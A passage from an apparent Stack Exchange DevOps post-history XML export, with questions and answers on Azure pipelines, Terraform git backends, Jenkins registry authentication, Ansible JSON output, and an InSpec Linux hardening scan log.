  <row Id="37526" PostHistoryTypeId="3" PostId="12204" RevisionGUID="2173beeb-5997-485e-8920-deeede5b412c" CreationDate="2020-08-13T19:43:41.080" UserId="162" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;ecs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37527" PostHistoryTypeId="2" PostId="12205" RevisionGUID="b0c31e61-fe8f-4f4d-ab4f-3b3369c34fc4" CreationDate="2020-08-13T21:25:20.630" UserId="23556" Text="My knowledge of Azure is pretty limited - this is the first project where I've worked with it.&#xD;&#xA;&#xD;&#xA;We are deploying Azure webapps in docker containers via an Azure pipeline configured with the classic interface. The pipeline has one agent job that looks like this when I click the &quot;View YAML&quot; button:&#xD;&#xA;&#xD;&#xA;    pool:&#xD;&#xA;      name: Azure Pipelines&#xD;&#xA;    steps:&#xD;&#xA;    - task: Docker@0&#xD;&#xA;      displayName: 'Build an image'&#xD;&#xA;      inputs:&#xD;&#xA;        azureSubscription: '&lt;omitted&gt;'&#xD;&#xA;        azureContainerRegistry: '{&quot;loginServer&quot;:&quot;&lt;omitted&gt;&quot;, &quot;id&quot; : &quot;&lt;omitted&gt;&quot;}'&#xD;&#xA;        dockerFile: Dockerfile&#xD;&#xA;        includeSourceTags: true&#xD;&#xA;        includeLatestTag: true&#xD;&#xA;    &#xD;&#xA;    - task: Docker@0&#xD;&#xA;      displayName: 'Push an image'&#xD;&#xA;      inputs:&#xD;&#xA;        azureSubscription: '&lt;omitted&gt;'&#xD;&#xA;        azureContainerRegistry: '{&quot;loginServer&quot;:&quot;&lt;omitted&gt;&quot;, &quot;id&quot; : &quot;&lt;omitted&gt;&quot;}'&#xD;&#xA;        action: 'Push an image'&#xD;&#xA;        includeSourceTags: true&#xD;&#xA;        includeLatestTag: true&#xD;&#xA;&#xD;&#xA;The pipeline isn't really &quot;mine&quot; so I don't want to make any crazy changes but I do have access to edit it and can discuss with the third party admin to make changes if need be.&#xD;&#xA;&#xD;&#xA;I need to run a post deployment script to clear caches and such in a container (the app will likely run multiple web containers, it doesn't matter which one the script runs in) after the pipeline finishes.&#xD;&#xA;&#xD;&#xA;Unfortunately I just cannot figure out how to do that. Options I've considered:&#xD;&#xA;&#xD;&#xA; - Run it in the container's startup script: containers will also be spun up when the app scales and we don't want to clear the caches in that case&#xD;&#xA; - [Use a container job][1] - this seems to be *exactly* what I want but unfortunately is not supported in the classic editor. I'd prefer not to rework the devops pipeline entirely since, as mentioned, it's not really &quot;mine&quot;&#xD;&#xA; - Add a &quot;Docker&quot; task of version 0 with the &quot;Run a Docker command&quot; action and set it to run the &quot;docker exec&quot; command. This seems the most promising but unfortunately there isn't any way I can tell to collect the ID or a name of a just-pushed container (which is a required argument to docker exec). I don't think there's an option to set a name that I can use with docker exec either (I see I can set several tags in the build and push steps but on the image only?), but I'm not too familiar with docker exec either so not 100% sure of that.&#xD;&#xA; - Add an Azure CLI task that SSHs in to the container and runs a command. Unfortunately it seems like there's no easy way to directly execute a command over Azure's SSH (e.g. via `az webapp ssh` or `az webapp create-remote-connection`) so I'm not totally sure whether this would work at all and I suspect it would take many hours of debugging and waiting for containers to deploy to even find out.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/devops/pipelines/process/container-phases?view=azure-devops" ContentLicense="CC BY-SA 4.0" />
  <row Id="37528" PostHistoryTypeId="1" PostId="12205" RevisionGUID="b0c31e61-fe8f-4f4d-ab4f-3b3369c34fc4" CreationDate="2020-08-13T21:25:20.630" UserId="23556" Text="How can I run a script in an Azure WebApp container after deployment as part of an Azure DevOps Pipeline using the classic pipelines interface?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37529" PostHistoryTypeId="3" PostId="12205" RevisionGUID="b0c31e61-fe8f-4f4d-ab4f-3b3369c34fc4" CreationDate="2020-08-13T21:25:20.630" UserId="23556" Text="&lt;azure-devops&gt;&lt;azure&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37531" PostHistoryTypeId="2" PostId="12206" RevisionGUID="e4a7fed7-5de9-4f3b-8a54-56eb2b758314" CreationDate="2020-08-14T00:58:54.753" UserId="23557" Text="I see that there’re multiple options for Backends, however git isn’t one of them.&#xA;&#xA;I believe git can be used as a backend for tfstate, in the below steps:&#xA;&#xA; 1. Create a dedicated git repo&#xA; 2. Commit the tfstate files in a specified directory and branch. Only fetch the required files, rather than the whole repo, as this repo could be used to store multiple tfstate files on different directories.&#xA;3. For locking and unlocking:&#xA;Method 1 (git LFS): use ‘[git lfs lock][1]’&#xA;&#xA;Method 2 (git - where lfs isn’t possible): Use another file suffixed with .lock, which should contain the lock state.&#xA;&#xA;Is there any plan for Terraform to release git as a backend?&#xA;&#xA;I've also thought of ways to use the HTTP backend to upload to a git, no luck yet.&#xA;&#xA;Thoughts on how this can be achieved?&#xA;&#xA;There's already a Github/Gitlab/Bitbucket provider.&#xA;&#xA;&#xA;Thanks,&#xA;&#xA;&#xA;Note: [Also asked in the Terraform Discuss][2]&#xA;&#xA;&#xA;  [1]: https://github.com/git-lfs/git-lfs/wiki/File-Locking&#xA;  [2]: https://discuss.hashicorp.com/t/dedicated-seperate-git-repo-as-terraform-remote-backend/12748" ContentLicense="CC BY-SA 4.0" />
  <row Id="37532" PostHistoryTypeId="1" PostId="12206" RevisionGUID="e4a7fed7-5de9-4f3b-8a54-56eb2b758314" CreationDate="2020-08-14T00:58:54.753" UserId="23557" Text="Dedicated/Seperate Git Repo as Terraform Remote Backend" ContentLicense="CC BY-SA 4.0" />
  <row Id="37533" PostHistoryTypeId="3" PostId="12206" RevisionGUID="e4a7fed7-5de9-4f3b-8a54-56eb2b758314" CreationDate="2020-08-14T00:58:54.753" UserId="23557" Text="&lt;terraform&gt;&lt;git&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37534" PostHistoryTypeId="2" PostId="12207" RevisionGUID="50c15c03-9951-40eb-86f7-366459b61c1c" CreationDate="2020-08-14T02:17:15.613" UserId="15016" Text="The question is a bit broad, but here are some suggestions to accomplish what I believe you are asking. If they are simple or not is for you to judge!&#xD;&#xA;&#xD;&#xA;If the infrastructure referred to already exists and you would like to manage, update using infrastructure as code (IaC), you could try tools to convert the infrastructure to code. (These are new and at least one is in beta at the time or writing this)&#xD;&#xA;&#xD;&#xA; - Existing Infrastructure to Terraform:&#xD;&#xA;   https://github.com/GoogleCloudPlatform/terraformer&#xD;&#xA; - Existing&#xD;&#xA;   Infrastructure to CloudFormation:&#xD;&#xA;   https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/cfn-using-cloudformer.html&#xD;&#xA;&#xD;&#xA;If the infrastructure does not exist, I recommend using infrastructure as code (IaC). AWS was mentioned, as well as the complexity of CloudFormation, with these considerations, [Terraform][1] could be a good option.&#xD;&#xA;&#xD;&#xA; - [Cloud Posse][2] offers some good modules to simplify using [Terraform][1] to build infrastructure. [This module][3] may be a good place to start.&#xD;&#xA;&#xD;&#xA;Finally, if you would like to abstract away the bulk of the infrastructure and just run containers in the cloud.&#xD;&#xA;&#xD;&#xA; - [Google Cloud Platform][4] (GCP) offers [Cloud Run][5], providing a completely managed service to run containers in the cloud with out much of the underlying complexity. The [GCP Provider for Terraform][6] can help here.&#xD;&#xA; - [AWS Fargate][7] cloud be another option, with [Cloud Posse][8] again offering modules for Terraform.&#xD;&#xA;&#xD;&#xA;Hopefully these options help find you the simple solution you are looking for!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/&#xD;&#xA;  [2]: https://cloudposse.com/&#xD;&#xA;  [3]: https://github.com/cloudposse/terraform-aws-ecs-alb-service-task&#xD;&#xA;  [4]: https://cloud.google.com/&#xD;&#xA;  [5]: https://cloud.google.com/run&#xD;&#xA;  [6]: https://www.terraform.io/docs/providers/google/r/cloud_run_service.html&#xD;&#xA;  [7]: https://aws.amazon.com/fargate/&#xD;&#xA;  [8]: https://github.com/cloudposse/terraform-aws-eks-cluster" ContentLicense="CC BY-SA 4.0" />
  <row Id="37535" PostHistoryTypeId="5" PostId="12207" RevisionGUID="22e83aad-5320-4803-8ca2-dc86146b1655" CreationDate="2020-08-14T02:24:53.477" UserId="15016" Comment="Adding additional CI/CD Options" Text="The question is a bit broad, but here are some suggestions to accomplish what I believe you are asking. If they are simple or not is for you to judge!&#xD;&#xA;&#xD;&#xA;If the infrastructure referred to already exists and you would like to manage, update using infrastructure as code (IaC), you could try tools to convert the infrastructure to code. (These are new and at least one is in beta at the time or writing this)&#xD;&#xA;&#xD;&#xA; - Existing Infrastructure to Terraform:&#xD;&#xA;   https://github.com/GoogleCloudPlatform/terraformer&#xD;&#xA; - Existing&#xD;&#xA;   Infrastructure to CloudFormation:&#xD;&#xA;   https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/cfn-using-cloudformer.html&#xD;&#xA;&#xD;&#xA;If the infrastructure does not exist, I recommend using infrastructure as code (IaC). AWS was mentioned, as well as the complexity of CloudFormation, with these considerations, [Terraform][1] could be a good option.&#xD;&#xA;&#xD;&#xA; - [Cloud Posse][2] offers some good modules to simplify using [Terraform][1] to build infrastructure. [This module][3] may be a good place to start.&#xD;&#xA;&#xD;&#xA;Finally, if you would like to abstract away the bulk of the infrastructure and just run containers in the cloud.&#xD;&#xA;&#xD;&#xA; - [Google Cloud Platform][4] (GCP) offers [Cloud Run][5], providing a completely managed service to run containers in the cloud with out much of the underlying complexity. The [GCP Provider for Terraform][6] can help here.&#xD;&#xA; - [AWS Fargate][7] cloud be another option, with [Cloud Posse][8] again offering modules for Terraform.&#xD;&#xA;&#xD;&#xA;Once the code and infrastructure option is selected, CI/CD is as easy as adding a buildspec.yaml to the repository and adding the [Code Build][9] infrastructure to the Terraform code (AWS) and similar for [Cloud Build][10] (GCP). &#xD;&#xA;&#xD;&#xA;Hopefully these options help find you the simple solution you are looking for!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/&#xD;&#xA;  [2]: https://cloudposse.com/&#xD;&#xA;  [3]: https://github.com/cloudposse/terraform-aws-ecs-alb-service-task&#xD;&#xA;  [4]: https://cloud.google.com/&#xD;&#xA;  [5]: https://cloud.google.com/run&#xD;&#xA;  [6]: https://www.terraform.io/docs/providers/google/r/cloud_run_service.html&#xD;&#xA;  [7]: https://aws.amazon.com/fargate/&#xD;&#xA;  [8]: https://github.com/cloudposse/terraform-aws-eks-cluster&#xD;&#xA;  [9]: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/codebuild_project&#xD;&#xA;  [10]: https://cloud.google.com/cloud-build/docs/quickstart-build" ContentLicense="CC BY-SA 4.0" />
  <row Id="37536" PostHistoryTypeId="5" PostId="12206" RevisionGUID="1f90e2fe-9571-4e00-82b9-15ce11e79d39" CreationDate="2020-08-14T11:00:52.837" UserId="210" Comment="added 28 characters in body; edited title" Text="I see that there are multiple options for Backends, however git isn’t one of them.&#xD;&#xA;&#xD;&#xA;I believe git can be used as a backend for tfstate, in the below steps:&#xD;&#xA;&#xD;&#xA; 1. Create a dedicated git repo&#xD;&#xA; 2. Commit the tfstate files in a specified directory and branch. Only fetch the required files, rather than the whole repo, as this repo could be used to store multiple tfstate files on different directories.&#xD;&#xA;3. For locking and unlocking:&#xD;&#xA;Method 1 (git LFS): use ‘[git lfs lock][1]’&#xD;&#xA;&#xD;&#xA;Method 2 (git - where lfs isn’t possible): Use another file suffixed with .lock, which should contain the lock state.&#xD;&#xA;&#xD;&#xA;Is there any plan for Terraform to release git as a backend?&#xD;&#xA;&#xD;&#xA;I've also thought of ways to use the HTTP backend to upload to a git, no luck yet.&#xD;&#xA;&#xD;&#xA;Thoughts on how this can be achieved?&#xD;&#xA;&#xD;&#xA;There's already a Github/Gitlab/Bitbucket provider.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Note: [Also asked in the Terraform Discuss][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/git-lfs/git-lfs/wiki/File-Locking&#xD;&#xA;  [2]: https://discuss.hashicorp.com/t/dedicated-seperate-git-repo-as-terraform-remote-backend/12748" ContentLicense="CC BY-SA 4.0" />
  <row Id="37537" PostHistoryTypeId="4" PostId="12206" RevisionGUID="1f90e2fe-9571-4e00-82b9-15ce11e79d39" CreationDate="2020-08-14T11:00:52.837" UserId="210" Comment="added 28 characters in body; edited title" Text="Dedicated/Separate Git Repo as Terraform Remote Backend" ContentLicense="CC BY-SA 4.0" />
  <row Id="37541" PostHistoryTypeId="2" PostId="12209" RevisionGUID="48b56e92-cf7e-485d-992b-6bfce108ecb4" CreationDate="2020-08-14T13:15:48.330" UserId="17329" Text="I am failing to pull images from a private gcr repo through helm jenkins on a private k8s. I am getting: rpc error: code = Unknown desc = Error response from daemon: unauthorized: You don't have the needed permissions to perform this operation, and you may have invalid credentials. To authenticate your request, follow the steps in: https://cloud.google.com/container-registry/docs/advanced-authentication. Is there anyway I can mitigate this error without specifically specifying creds on pipeline level?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37542" PostHistoryTypeId="1" PostId="12209" RevisionGUID="48b56e92-cf7e-485d-992b-6bfce108ecb4" CreationDate="2020-08-14T13:15:48.330" UserId="17329" Text="Jenkins - kubernetes-plugin pulling image from a private gcr" ContentLicense="CC BY-SA 4.0" />
  <row Id="37543" PostHistoryTypeId="3" PostId="12209" RevisionGUID="48b56e92-cf7e-485d-992b-6bfce108ecb4" CreationDate="2020-08-14T13:15:48.330" UserId="17329" Text="&lt;jenkins&gt;&lt;kubernetes&gt;&lt;docker-registry&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37544" PostHistoryTypeId="4" PostId="12209" RevisionGUID="6048831f-b0e1-4d78-950f-a2d18e12cfd5" CreationDate="2020-08-14T13:30:17.993" UserId="17329" Comment="edited title" Text="Jenkins Helm Chart - kubernetes-plugin pulling image from a private gcr" ContentLicense="CC BY-SA 4.0" />
  <row Id="37545" PostHistoryTypeId="5" PostId="12209" RevisionGUID="2e660d30-55da-48de-9fd3-6e68a251753e" CreationDate="2020-08-14T14:14:06.863" UserId="17329" Comment="added 138 characters in body" Text="I am failing to pull images from a private gcr repo through helm jenkins on a private k8s. I am getting: rpc error: code = Unknown desc = Error response from daemon: unauthorized: You don't have the needed permissions to perform this operation, and you may have invalid credentials. To authenticate your request, follow the steps in: https://cloud.google.com/container-registry/docs/advanced-authentication. Is there anyway I can mitigate this error without specifically specifying creds on pipeline level?&#xD;&#xA;&#xD;&#xA;Pulling image from host work and creating a deployment in K8s is pulling successfully, but when pulled within Jenkins it doesn't work.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37549" PostHistoryTypeId="2" PostId="12211" RevisionGUID="90b57fac-a0fc-4d12-8459-81d704cabeea" CreationDate="2020-08-14T14:23:47.277" UserId="17329" Text="Found the issue, had kubectl -n jenkins patch serviceaccount jenkins -p '{&quot;imagePullSecrets&quot;: [{&quot;name&quot;: &quot;gcr-json-key&quot;}]}' applied on default sa instead of jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="37555" PostHistoryTypeId="2" PostId="12213" RevisionGUID="ef4de52f-d389-43d9-b1f8-73043f1d93af" CreationDate="2020-08-15T14:23:41.433" UserId="23573" Text="Looking for information on how to output machine readable output form ansible-playbook." ContentLicense="CC BY-SA 4.0" />
  <row Id="37556" PostHistoryTypeId="1" PostId="12213" RevisionGUID="ef4de52f-d389-43d9-b1f8-73043f1d93af" CreationDate="2020-08-15T14:23:41.433" UserId="23573" Text="How do I make ansible-playbook log its output in a machine readable format like xml or json?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37557" PostHistoryTypeId="3" PostId="12213" RevisionGUID="ef4de52f-d389-43d9-b1f8-73043f1d93af" CreationDate="2020-08-15T14:23:41.433" UserId="23573" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37561" PostHistoryTypeId="2" PostId="12215" RevisionGUID="7434b650-d6eb-46d5-b6d2-564280e9bd60" CreationDate="2020-08-15T15:13:10.283" UserId="354" Text="This is done using one of the configuration options. For a general overview of configuring Ansible, see [the configuration documentation](https://docs.ansible.com/ansible/latest/reference_appendices/config.html), in particular the [callback plugin configuration](https://docs.ansible.com/ansible/latest/plugins/callback.html).&#xD;&#xA;&#xD;&#xA;Callback plugins change how Ansible provides feedback on the progress and state of tasks. There are several options for JSON output:&#xD;&#xA;&#xD;&#xA;1. [JSON output to stdout](https://docs.ansible.com/ansible/latest/plugins/callback/json.html)&#xD;&#xA;1. [JSON to syslog](https://docs.ansible.com/ansible/latest/plugins/callback/syslog_json.html)&#xD;&#xA;&#xD;&#xA;Setting these configuration options can be done either in a configuration file (`ansible.cfg`) or with environment variables (`ANSIBLE_XXX`), depending on what you prefer.&#xD;&#xA;To quote the current documentation:&#xD;&#xA;&#xD;&#xA;&gt;Changes can be made and used in a configuration file which will be searched for in the following order:&#xD;&#xA;&#xD;&#xA;&gt;        ANSIBLE_CONFIG (environment variable if set)&#xD;&#xA;&gt;        ansible.cfg (in the current directory)&#xD;&#xA;&gt;        ~/.ansible.cfg (in the home directory)&#xD;&#xA;&gt;        /etc/ansible/ansible.cfg&#xD;&#xA;&#xD;&#xA;&gt; Ansible will process the above list and use the first file found, all others are ignored.&#xD;&#xA;&#xD;&#xA;Assuming you want to send the output to stdout then, your `ansible.cfg` could look like:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[defaults]&#xD;&#xA;callback_whitelist=json&#xD;&#xA;stdout_callback=json&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Using environment variables:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA; ANSIBLE_CALLBACK_WHITELIST=json ANSIBLE_STDOUT_CALLBACK=json ansible-playbook ...&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37566" PostHistoryTypeId="50" PostId="12006" RevisionGUID="4b194d37-adfc-4489-8553-4450a5391802" CreationDate="2020-08-15T18:03:30.480" UserId="-1" />
  <row Id="37567" PostHistoryTypeId="2" PostId="12217" RevisionGUID="a7cfa327-5caa-4f44-adcc-bbf12c3e90c2" CreationDate="2020-08-15T21:36:31.833" UserId="23573" Text="I am running the following command `inspec exec https://github.com/dev-sec/linux-baseline -t ssh://ubuntu@10.0.1.22 -i ~/.ssh/id_rsa --sudo`&#xD;&#xA;&#xD;&#xA;And I am getting failures for  &#xD;&#xA;&#xD;&#xA; - Check login.defs (4 failed)&#xD;&#xA;   - All these params look like they should pass&#xD;&#xA; - sysctl-29: Disable loading kernel modules&#xD;&#xA;   - I accidentally set `echo &quot;1&quot; &gt; /proc/sys/kernel/modules_disabled` and now I'm unable to set it back :-(&#xD;&#xA;  - package-07: Install syslog server package&#xD;&#xA;    - What package should I install?&#xD;&#xA;  -  os-06: Check for SUID/ SGID blacklist &#xD;&#xA;     -  Where can I set this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ubuntu@ip-10-0-1-10:~/.ssh$ inspec exec https://github.com/dev-sec/linux-baseline -t ssh://ubuntu@10.0.1.22 -i ~/.ssh/id_rsa --sudo&#xD;&#xA;/usr/local/rvm/gems/ruby-2.3.1@global/gems/rspec-core-3.8.0/lib/rspec/core/example_group.rb:679: warning: already initialized constant RSpec::Core::ExampleGroup::INSTANCE_VARIABLE_TO_IGNORE&#xD;&#xA;/usr/local/rvm/rubies/ruby-2.3.1/lib/ruby/gems/2.3.0/gems/rspec-core-3.8.0/lib/rspec/core/example_group.rb:679: warning: previous definition of INSTANCE_VARIABLE_TO_IGNORE was here&#xD;&#xA;/usr/local/rvm/gems/ruby-2.3.1@global/gems/rspec-core-3.8.0/lib/rspec/core/example_group.rb:722: warning: already initialized constant RSpec::Core::ExampleGroup::WrongScopeError&#xD;&#xA;/usr/local/rvm/rubies/ruby-2.3.1/lib/ruby/gems/2.3.0/gems/rspec-core-3.8.0/lib/rspec/core/example_group.rb:722: warning: previous definition of WrongScopeError was here&#xD;&#xA;verify_host_key: false is deprecated, use :never&#xD;&#xA;[2020-08-15T21:22:01+00:00] WARN: URL target https://github.com/dev-sec/linux-baseline transformed to https://github.com/dev-sec/linux-baseline/archive/master.tar.gz. Consider using the git fetcher&#xD;&#xA;[2020-08-15T21:22:01+00:00] WARN: Attribute 'login_defs_umask' does not have a value. Use --attrs to provide a value for 'login_defs_umask' or specify a default  value with `attribute('login_defs_umask', default: 'somedefault', ...)`.&#xD;&#xA;[2020-08-15T21:22:01+00:00] WARN: Attribute 'login_defs_passmaxdays' does not have a value. Use --attrs to provide a value for 'login_defs_passmaxdays' or specify a default  value with `attribute('login_defs_passmaxdays', default: 'somedefault', ...)`.&#xD;&#xA;[2020-08-15T21:22:01+00:00] WARN: Attribute 'login_defs_passmindays' does not have a value. Use --attrs to provide a value for 'login_defs_passmindays' or specify a default  value with `attribute('login_defs_passmindays', default: 'somedefault', ...)`.&#xD;&#xA;[2020-08-15T21:22:01+00:00] WARN: Attribute 'login_defs_passwarnage' does not have a value. Use --attrs to provide a value for 'login_defs_passwarnage' or specify a default  value with `attribute('login_defs_passwarnage', default: 'somedefault', ...)`.&#xD;&#xA;[2020-08-15T21:22:02+00:00] WARN: Attribute 'blacklist' does not have a value. Use --attrs to provide a value for 'blacklist' or specify a default  value with `attribute('blacklist', default: 'somedefault', ...)`.&#xD;&#xA;[2020-08-15T21:22:02+00:00] WARN: Attribute 'syslog_pkg' does not have a value. Use --attrs to provide a value for 'syslog_pkg' or specify a default  value with `attribute('syslog_pkg', default: 'somedefault', ...)`.&#xD;&#xA;[2020-08-15T21:22:02+00:00] WARN: Attribute 'sysctl_forwarding' does not have a value. Use --attrs to provide a value for 'sysctl_forwarding' or specify a default  value with `attribute('sysctl_forwarding', default: 'somedefault', ...)`.&#xD;&#xA;[2020-08-15T21:22:02+00:00] WARN: Attribute 'kernel_modules_disabled' does not have a value. Use --attrs to provide a value for 'kernel_modules_disabled' or specify a default  value with `attribute('kernel_modules_disabled', default: 'somedefault', ...)`.&#xD;&#xA;&#xD;&#xA;Profile: DevSec Linux Security Baseline (linux-baseline)&#xD;&#xA;Version: 2.4.6&#xD;&#xA;Target:  ssh://ubuntu@10.0.1.22:22&#xD;&#xA;&#xD;&#xA;  ✔  os-01: Trusted hosts login&#xD;&#xA;     ✔  File /etc/hosts.equiv should not exist&#xD;&#xA;  ✔  os-02: Check owner and permissions for /etc/shadow&#xD;&#xA;     ✔  File /etc/shadow should exist&#xD;&#xA;     ✔  File /etc/shadow should be file&#xD;&#xA;     ✔  File /etc/shadow should be owned by &quot;root&quot;&#xD;&#xA;     ✔  File /etc/shadow should not be executable&#xD;&#xA;     ✔  File /etc/shadow should not be readable by other&#xD;&#xA;     ✔  File /etc/shadow group should eq &quot;shadow&quot;&#xD;&#xA;     ✔  File /etc/shadow should be writable by owner&#xD;&#xA;     ✔  File /etc/shadow should be readable by owner&#xD;&#xA;     ✔  File /etc/shadow should be readable by group&#xD;&#xA;  ✔  os-03: Check owner and permissions for /etc/passwd&#xD;&#xA;     ✔  File /etc/passwd should exist&#xD;&#xA;     ✔  File /etc/passwd should be file&#xD;&#xA;     ✔  File /etc/passwd should be owned by &quot;root&quot;&#xD;&#xA;     ✔  File /etc/passwd should not be executable&#xD;&#xA;     ✔  File /etc/passwd should be writable by owner&#xD;&#xA;     ✔  File /etc/passwd should not be writable by group&#xD;&#xA;     ✔  File /etc/passwd should not be writable by other&#xD;&#xA;     ✔  File /etc/passwd should be readable by owner&#xD;&#xA;     ✔  File /etc/passwd should be readable by group&#xD;&#xA;     ✔  File /etc/passwd should be readable by other&#xD;&#xA;     ✔  File /etc/passwd group should eq &quot;root&quot;&#xD;&#xA;  ✔  os-03b: Check passwords hashes in /etc/passwd&#xD;&#xA;     ✔  /etc/passwd passwords should be in &quot;x&quot; and &quot;*&quot;&#xD;&#xA;  ✔  os-04: Dot in PATH variable&#xD;&#xA;     ✔  Environment variable PATH split should not include &quot;&quot;&#xD;&#xA;     ✔  Environment variable PATH split should not include &quot;.&quot;&#xD;&#xA;  ×  os-05: Check login.defs (4 failed)&#xD;&#xA;     ✔  File /etc/login.defs should exist&#xD;&#xA;     ✔  File /etc/login.defs should be file&#xD;&#xA;     ✔  File /etc/login.defs should be owned by &quot;root&quot;&#xD;&#xA;     ✔  File /etc/login.defs should not be executable&#xD;&#xA;     ✔  File /etc/login.defs should be readable by owner&#xD;&#xA;     ✔  File /etc/login.defs should be readable by group&#xD;&#xA;     ✔  File /etc/login.defs should be readable by other&#xD;&#xA;     ✔  File /etc/login.defs group should eq &quot;root&quot;&#xD;&#xA;     ✔  login.defs ENV_SUPATH should include &quot;/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&quot;&#xD;&#xA;     ✔  login.defs ENV_PATH should include &quot;/usr/local/bin:/usr/bin:/bin&quot;&#xD;&#xA;     ×  login.defs UMASK should include #&lt;Inspec::Attribute::DEFAULT_ATTRIBUTE:0x00000005a1ea00 @name=&quot;login_defs_umask&quot;&gt;&#xD;&#xA;     can't convert Inspec::Attribute::DEFAULT_ATTRIBUTE to String (Inspec::Attribute::DEFAULT_ATTRIBUTE#to_str gives Inspec::Attribute::DEFAULT_ATTRIBUTE)&#xD;&#xA;     ×  login.defs PASS_MAX_DAYS should eq #&lt;Inspec::Attribute::DEFAULT_ATTRIBUTE:0x00000005a1e3e8 @name=&quot;login_defs_passmaxdays&quot;&gt;&#xD;&#xA;     can't convert Inspec::Attribute::DEFAULT_ATTRIBUTE to Array (Inspec::Attribute::DEFAULT_ATTRIBUTE#to_ary gives Inspec::Attribute::DEFAULT_ATTRIBUTE)&#xD;&#xA;     ×  login.defs PASS_MIN_DAYS should eq #&lt;Inspec::Attribute::DEFAULT_ATTRIBUTE:0x00000005a1dee8 @name=&quot;login_defs_passmindays&quot;&gt;&#xD;&#xA;     can't convert Inspec::Attribute::DEFAULT_ATTRIBUTE to Array (Inspec::Attribute::DEFAULT_ATTRIBUTE#to_ary gives Inspec::Attribute::DEFAULT_ATTRIBUTE)&#xD;&#xA;     ×  login.defs PASS_WARN_AGE should eq #&lt;Inspec::Attribute::DEFAULT_ATTRIBUTE:0x00000005a1da38 @name=&quot;login_defs_passwarnage&quot;&gt;&#xD;&#xA;     can't convert Inspec::Attribute::DEFAULT_ATTRIBUTE to Array (Inspec::Attribute::DEFAULT_ATTRIBUTE#to_ary gives Inspec::Attribute::DEFAULT_ATTRIBUTE)&#xD;&#xA;     ✔  login.defs LOGIN_RETRIES should eq &quot;5&quot;&#xD;&#xA;     ✔  login.defs LOGIN_TIMEOUT should eq &quot;60&quot;&#xD;&#xA;     ✔  login.defs UID_MIN should eq &quot;1000&quot;&#xD;&#xA;     ✔  login.defs GID_MIN should eq &quot;1000&quot;&#xD;&#xA;  ↺  os-05b: Check login.defs - RedHat specific&#xD;&#xA;     ↺  Skipped control due to only_if condition.&#xD;&#xA;  ×  os-06: Check for SUID/ SGID blacklist&#xD;&#xA;     ×  suid_check diff&#xD;&#xA;     can't convert Inspec::Attribute::DEFAULT_ATTRIBUTE to Array (Inspec::Attribute::DEFAULT_ATTRIBUTE#to_ary gives Inspec::Attribute::DEFAULT_ATTRIBUTE)&#xD;&#xA;  ✔  os-07: Unique uid and gid&#xD;&#xA;     ✔  /etc/passwd uids should not contain duplicates&#xD;&#xA;     ✔  /etc/group gids should not contain duplicates&#xD;&#xA;  ✔  os-08: Entropy&#xD;&#xA;     ✔  3092 should &gt;= 1000&#xD;&#xA;  ✔  os-09: Check for .rhosts and .netrc file&#xD;&#xA;     ✔  [] should be empty&#xD;&#xA;  ✔  os-10: CIS: Disable unused filesystems&#xD;&#xA;     ✔  File /etc/modprobe.d/dev-sec.conf content should match &quot;install cramfs /bin/true&quot;&#xD;&#xA;     ✔  File /etc/modprobe.d/dev-sec.conf content should match &quot;install freevxfs /bin/true&quot;&#xD;&#xA;     ✔  File /etc/modprobe.d/dev-sec.conf content should match &quot;install jffs2 /bin/true&quot;&#xD;&#xA;     ✔  File /etc/modprobe.d/dev-sec.conf content should match &quot;install hfs /bin/true&quot;&#xD;&#xA;     ✔  File /etc/modprobe.d/dev-sec.conf content should match &quot;install hfsplus /bin/true&quot;&#xD;&#xA;     ✔  File /etc/modprobe.d/dev-sec.conf content should match &quot;install squashfs /bin/true&quot;&#xD;&#xA;     ✔  File /etc/modprobe.d/dev-sec.conf content should match &quot;install udf /bin/true&quot;&#xD;&#xA;     ✔  File /etc/modprobe.d/dev-sec.conf content should match &quot;install vfat /bin/true&quot;&#xD;&#xA;  ✔  os-11: Protect log-directory&#xD;&#xA;     ✔  File /var/log should be directory&#xD;&#xA;     ✔  File /var/log should be owned by &quot;root&quot;&#xD;&#xA;     ✔  File /var/log group should match /^root|syslog$/&#xD;&#xA;  ✔  package-01: Do not run deprecated inetd or xinetd&#xD;&#xA;     ✔  System Package inetd should not be installed&#xD;&#xA;     ✔  System Package xinetd should not be installed&#xD;&#xA;  ✔  package-02: Do not install Telnet server&#xD;&#xA;     ✔  System Package telnetd should not be installed&#xD;&#xA;  ✔  package-03: Do not install rsh server&#xD;&#xA;     ✔  System Package rsh-server should not be installed&#xD;&#xA;  ✔  package-05: Do not install ypserv server (NIS)&#xD;&#xA;     ✔  System Package ypserv should not be installed&#xD;&#xA;  ✔  package-06: Do not install tftp server&#xD;&#xA;     ✔  System Package tftp-server should not be installed&#xD;&#xA;  ×  package-07: Install syslog server package&#xD;&#xA;     ×  System Package Attribute 'syslog_pkg' does not have a value. Skipping test. should be installed&#xD;&#xA;     expected 